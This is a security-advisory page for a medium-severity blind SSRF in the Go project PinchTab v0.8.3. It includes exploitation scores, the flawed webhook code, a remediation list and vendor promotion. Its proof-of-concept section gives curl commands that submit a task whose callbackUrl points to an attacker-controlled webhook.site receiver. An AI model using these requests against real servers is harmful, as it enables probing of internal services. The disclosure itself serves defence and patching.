Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

GHSA-xqq2-4j46-vwp7 pinchtab

MEDIUMFix: pinchtab/pinchtab@c824574

GHSA-xqq2-4j46-vwp7 is a medium-severity (CVSS 4.1) Server-Side Request Forgery (SSRF) vulnerability in github.com/pinchtab/pinchtab. A fix is available for github.com/pinchtab/pinchtab — see the affected versions and patch details below.

PinchTab has Unauthenticated Blind SSRF in Task Scheduler via Unvalidated callbackUrl

Also known asCVE-2026-33619GO-2026-4825
Published
Mar 24, 2026
Updated
May 5, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-xqq2-4j46-vwp7.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs17th percentile — riskier than 17% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-xqq2-4j46-vwp7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/pinchtab/pinchtab

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

PinchTab v0.8.3 contains a server-side request forgery issue in the optional scheduler's webhook delivery path. When a task is submitted to POST /tasks with a user-controlled callbackUrl, the v0.8.3 scheduler sends an outbound HTTP POST to that URL when the task reaches a terminal state. In that release, the webhook path validated only the URL scheme and did not reject loopback, private, link-local, or other non-public destinations.

Because the v0.8.3 implementation also used the default HTTP client behavior, redirects were followed and the destination was not pinned to validated IPs. This allowed blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets reachable from the server.

This issue is narrower than a general unauthenticated internet-facing SSRF. The scheduler is optional and off by default, and in token-protected deployments the attacker must already be able to submit tasks using the server's master API token. In PinchTab's intended deployment model, that token represents administrative control rather than a low-privilege role. Tokenless deployments lower the barrier further, but that is a separate insecure configuration state rather than impact created by the webhook bug itself.

PinchTab's default deployment model is local-first and user-controlled, with loopback bind and token-based access in the recommended setup. That lowers practical risk in default use, even though it does not remove the underlying webhook issue when the scheduler is enabled and reachable.

This was addressed in v0.8.4 by validating callback targets before dispatch, rejecting non-public IP ranges, pinning delivery to validated IPs, disabling redirect following, and validating callbackUrl during task submission.

Details

Issue 1 - Webhook dispatch validated only scheme in v0.8.3 (internal/scheduler/webhook.go): The vulnerable sendWebhook() implementation accepted any http or https URL and dispatched the outbound request without destination IP validation:

// internal/scheduler/webhook.go - v0.8.3
parsed, err := url.Parse(callbackURL)
if parsed.Scheme != "http" && parsed.Scheme != "https" {
    slog.Warn("webhook: unsupported scheme", ...)
    return
}

req, _ := http.NewRequest(http.MethodPost, callbackURL, bytes.NewReader(payload))
resp, err := webhookClient.Do(req)

In v0.8.3 there was no hostname resolution and no rejection of loopback, private, link-local, or other non-public addresses before dispatch.

Issue 2 - callbackUrl was accepted without server-side validation in v0.8.3 (internal/scheduler/task.go): The task submission schema accepted a user-controlled callbackUrl, and the v0.8.3 request validation logic did not validate it:

// internal/scheduler/task.go - v0.8.3
type SubmitRequest struct {
    AgentID     string         `json:"agentId"`
    Action      string         `json:"action"`
    CallbackURL string         `json:"callbackUrl,omitempty"`
}

func (r *SubmitRequest) Validate() error {
    if r.AgentID == "" {
        return fmt.Errorf("missing required field 'agentId'")
    }
    if r.Action == "" {
        return fmt.Errorf("missing required field 'action'")
    }
    return nil
}

This meant a user-supplied callbackUrl flowed into webhook delivery without early rejection.

Issue 3 - Redirects were followed in v0.8.3: The v0.8.3 webhook client used the default http.Client, so redirects were followed. That made the SSRF broader than the initially supplied URL alone, because an attacker-controlled external endpoint could redirect the server to a second destination.

PoC

Prerequisites

  • PinchTab v0.8.3
  • scheduler.enabled: true because the scheduler is off by default
  • The attacker can submit tasks to POST /tasks
  • In token-protected deployments, this requires the master API token
  • In deployments intentionally or accidentally running without a token, the barrier is lower, but that is separate from the webhook bug itself
  • An attacker-controlled HTTP listener to receive and log the outbound request

Enable scheduler if required:

curl -s -X PUT http://TARGET:9867/api/config \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{"scheduler":{"enabled":true}}'

Restart PinchTab after changing config.

Execution Submit a task with an attacker-controlled callbackUrl. A valid tabId is not required because the webhook fires for terminal task states, including failure:

curl -s -X POST http://TARGET:9867/tasks \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "agentId": "poc-agent",
    "action": "navigate",
    "params": {"url": "https://example.com"},
    "callbackUrl": "https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19"
  }'

Confirm the task was accepted:

{
  "createdAt": "2026-03-18T10:02:39.847097+07:00",
  "position": 1,
  "state": "queued",
  "taskId": "tsk_2633324a"
}

Poll task state:

curl -s -H "Authorization: Bearer <token>" http://TARGET:9867/tasks/tsk_2633324a

Example result:

{
  "taskId": "tsk_2633324a",
  "state": "failed",
  "error": "tabId is required for task execution",
  "callbackUrl": "https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19",
  "completedAt": "2026-03-18T10:02:39.858043+07:00"
}

Query the attacker-controlled receiver for the inbound POST:

curl -s "https://webhook.site/token/c4030a47-259a-4ea4-ae34-fdbf96914b19/requests" \
  | python3 -m json.tool

Observation

  1. The task is accepted and reaches a terminal state.
  2. The attacker-controlled receiver logs an inbound POST originating from the PinchTab server's egress address.
  3. The webhook includes the task snapshot payload and PinchTab-specific headers, confirming server-side delivery.
  4. In v0.8.3, the same dispatch path can be directed at internal or non-public HTTP targets reachable from the server.
  5. This PoC demonstrates blind outbound request capability; it does not by itself demonstrate response-body disclosure or automatic cloud credential theft.

Impact

  1. Blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets when the optional scheduler is enabled and reachable.
  2. Potential interaction with internal HTTP services or metadata endpoints that are reachable from the server but not from the attacker directly.
  3. Limited direct confidentiality impact because the webhook is a fixed outbound POST and the response body is not returned to the attacker through the task API.
  4. Potential low-integrity impact where internal services accept unauthenticated POST requests and perform state-changing actions.
  5. Practical risk is lower in the documented default local-first deployment model, where loopback bind, generated tokens, and a disabled scheduler reduce exposure.

Suggested Remediation

Apply the same outbound destination controls used for safer HTTP egress paths to scheduler webhook delivery. Specifically:

  1. Resolve the hostname of callbackUrl before dispatch and reject loopback, private, link-local, multicast, unspecified, and other non-public IP ranges.
  2. Pin delivery to the validated IP set instead of relying on fresh DNS resolution during connect.
  3. Reject redirects or re-validate every redirect target before following it.
  4. Validate callbackUrl during task submission so unsafe targets fail early instead of only at delivery time.
  5. Optionally add an allowlist for approved webhook destinations if operators need narrowly scoped internal receivers.

Evidence Capture

Exploit

<img width="2864" height="1387" alt="new" src="https://github.com/user-attachments/assets/b7b5cf31-c463-4e25-adff-fc8798f1f33b" />

Verify

<img width="2866" height="1474" alt="web" src="https://github.com/user-attachments/assets/65391b00-8df5-4c3c-8789-eb100f65b301" />

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/pinchtab/pinchtaball versions0.8.4go get github.com/pinchtab/pinchtab@v0.8.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/pinchtab/pinchtab, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/pinchtab/pinchtab to 0.8.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xqq2-4j46-vwp7 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-xqq2-4j46-vwp7 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-xqq2-4j46-vwp7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary PinchTab v0.8.3 contains a server-side request forgery issue in the optional scheduler's webhook delivery path. When a task is submitted to `POST /tasks` with a user-controlled `callbackUrl`, the v0.8.3 scheduler sends an outbound HTTP `POST` to that URL when the task reaches a terminal state. In that release, the webhook path validated only the URL scheme and did not reject loopback, private, link-local, or other non-public destinations. Because the v0.8.3 implementation also used the default HTTP client behavior, redirects were followed and the destination was not pinned to vali
O3 Security · Impact-Aware SCA

Is GHSA-xqq2-4j46-vwp7 in your dependencies?

O3 Security finds GHSA-xqq2-4j46-vwp7 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-xqq2-4j46-vwp7: pinchtab (Medium 4.1) | O3 Security